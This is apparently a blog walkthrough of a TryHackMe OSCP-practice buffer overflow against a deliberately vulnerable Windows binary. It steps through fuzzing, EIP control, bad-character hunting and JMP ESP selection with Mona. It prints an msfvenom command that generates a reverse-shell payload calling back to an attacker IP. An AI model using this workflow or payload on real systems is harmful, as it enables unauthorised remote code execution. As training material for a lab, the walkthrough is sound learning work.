This blog post is my attempt in trying to explain how to perform a buffer overflow in preparation for the OSCP. I have followed the cheat sheet written by Tib3rius and performed the buffer overflow on a vulnerable application in Tib3rius' Tryhackme room which can be found here. My favourite aspect of the OSCP and software security are low level attacks.
A medium level BOF challenge
Approx. 40 mins to complete
Image source from LiveOverflow.
Understand the vulnerable application.
Lets start by connecting to the target machine via RDP; this command allowed me to set appropriate resolution so I could read immunity debugger clearly.
xfreerdp /u:admin /p:password /cert:ignore /w:2000 /h:900 /v:10.10.166.24
We will then open Immunity debugger as an administrator, then open the binary oscp.exe (file>open>oscp.exe) and then press play. It is important to note that this application 'oscp.exe' could be any windows application that has this vulnerability.
Once the application is running, we want to set up a working folder for Mona; a powerful plugin for Immunity debugger which makes exploiting this buffer overflow much easier than what was taught in the OSCP. We can use the following command to setup this working folder.
!mona config -set workingfolder c:\mona\%p
From our attacking machine, once the oscp.exe binary is running, we can connect to it via Netcat and begin fuzzing the inputs. We can provide the application the HELP command to better understand what inputs the application accepts.
We can see from the above that the application accepts 10 different input commands, each command prepended with the string OVERFLOWX (X being an index from 1-10).
Fuzzing the application
We want to fuzz each input of the application starting with the first (OVERFLOW1 [Value]). We will use the following python script to fuzz the application by sending it increasingly large input strings increasing by 100 bytes at a time. On line 10 we see that the string we send will be the string 'A' multiplied by the value of the counter that increases with each iteration by 100. The reason we do this is to see how the application handles and reacts when we supply it with a malformed or larger input string than what was expected.
When we run the fuzzer python script we will eventually cause the application to crash. We can see from the below that we have made many connections to the vulnerable application from our attacker machine.
We can see from the below output from our python script that we crashed the application at around 2000 bytes.
When we look at our debugger below, we can see the values '41414141' in the EIP register which is hexadecimal for AAAA. This indicates that the application buffer that handles user input was over written and overwrote the EIP register in memory with our input string.
Now we know that we can crash the application when we supply an input string of around 2000 bytes and we can overwrite the EIP. The next step is to replicate this crash and take control of this EIP register by placing a string of our choice in it.
Crash replication and controlling the EIP
We will create another script, which was supplied to us by Tib3rius in his cheat sheet which will allow us to replicate the crash the application and control the EIP register.
We will now create a cyclic pattern of non repeating characters around 400 bytes longer than the number of bytes it took to crash the application to account for the size of our shellcode.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400
We will take this string and set the value of our payload variable to it; we do this so that we can identify which unique characters sit in the EIP register when it crashes. This will then allow us to calculate the offset and subsequently set the EIP register to a value of our choosing.
We can now run this exploit script and wait for the application to crash again, when we inspect immunity, we should see a random value in the EIP register. We can use a command with Mona to find the offset.
!mona findmsp -distance 2400
We can see below that the EIP offset is 1978. This is just the distance from the first character of our cyclic pattern payload we used to the characters that filled the EIP register.
We will now update our exploit code and set the offset variable to '1978' and our return variable to 'BBBB'. This offset variable will set our overflow variable with the correct number of 'A' values to reach the EIP register. The return variable set to 'BBBB' will place these characters into the EIP register.
We can see from the below, when we run our updated exploit, the values 42424242 are in the EIP register. We have successfully controlled the EIP register, we can now start to look at identifying bad characters.
Finding bad characters.
We now need to find any bad characters that may break the shellcode that we generate, the most common bad character is \x00 which is a null character. This character is used to terminate a string, so if we have \x00 in our shellcode, it may terminate early which is not what we want. We need to generate a file in immunity which is a byte array of bad characters excluding the most common bad character \x00.
!mona bytearray -b "\x00"
Below we can see the byte array of bad characters that immunity created.
We will now also generate an identical byte array of bad characters on our attacking machine using the script below.
The output of which shown below will be use as our payload in our exploit script.
We do this so that we can run the exploit against the vulnerable application and identify any bad characters in our payload that may terminate our payload string prematurely.
We now restart the application oscp.exe in immunity debugger and run our exploit script and crash the application. When the immunity is in a paused state, we observe the memory address in the ESP register.
We take the memory address 019EFA30 and use it in a command we supply to Mona.
!mona compare -f C:\mona\oscp\bytearray.bin -a 019EFA30
This command will bring up a window that compares the results of any characters that are different in memory from what was generated in the bytearray.bin file earlier. This allows us to identify any bad characters, regenerate the byte array excluding those bad characters, update our payload to exclude those characters and repeat until Mona tells us there are no bad characters left to remove.
We see above that the next bad character to remove is \x07. Below we can see that we remove this bad character from our payload in our exploit script.
Before we can re run this exploit, we need to regenerate our byte array in Mona and exclude the new bad character we found.
!mona bytearray -b "\x00\x07"
We will then re run this exploit script and crash the vulnerable application. When we crash the application, we will take the memory address of the ESP register again and use it to identify the remaining bad characters.
!mona compare -f C:\mona\oscp\bytearray.bin -a 019EFA30
After this cyclic process, we are able to identify four bad characters to be removed. When we check the memory comparison results we can see that the status is 'unmodified'.
Finding a jump point
We can use Mona once again to find a suitable jump point. We need to find an address that does not contain any of the identified bad characters; this address will be used in our exploit script so we need to ensure that the memory address will not affect the flow of execution.
!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"
Below we can see a number of addresses that we can use; we can chose the first address on the list for simplicity and ease.
The address we chose is 0x625011af. Because the system we are exploiting is a little-endian system, it stores the least-significant byte at the smallest address. We therefore will need to write the address backwards in our exploit script.
Generate the payload
We will now generate a reverse shell payload excluding all of our bad characters.
msfvenom -p windows/shell_reverse_tcp LHOST=10.8.90.230 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f py
We will now take our generated shellcode and we will update our exploit script to include it.
We will also prepend NOP's; No Operation instructions (\x90) which simply pass execution to the next instruction. We will use this to allow the CPU to move through the NOP's until the payload is reached. We add these as the stack pointer will now point far away enough from the shellcode so that the shellcode decoder does not corrupt the shellcode when the GetPC routine overwrites a few bytes on the stack.
Once we have added the padding, we can now finally for the last time run our exploit code and as we can see from the below, we receive a reverse shell and have completed this challenge. We now have a shell on the target machine.
Congratulations, we have finished the challenge. There are 9 more buffer overflows for you to try and a number of other vulnerable applications to exploit.
I hope I explained my method clearly and provided justified reasoning for the actions I took. If you would like to try this room yourself, go here! If you have any feedback, I would love to hear it as I want to keep improving.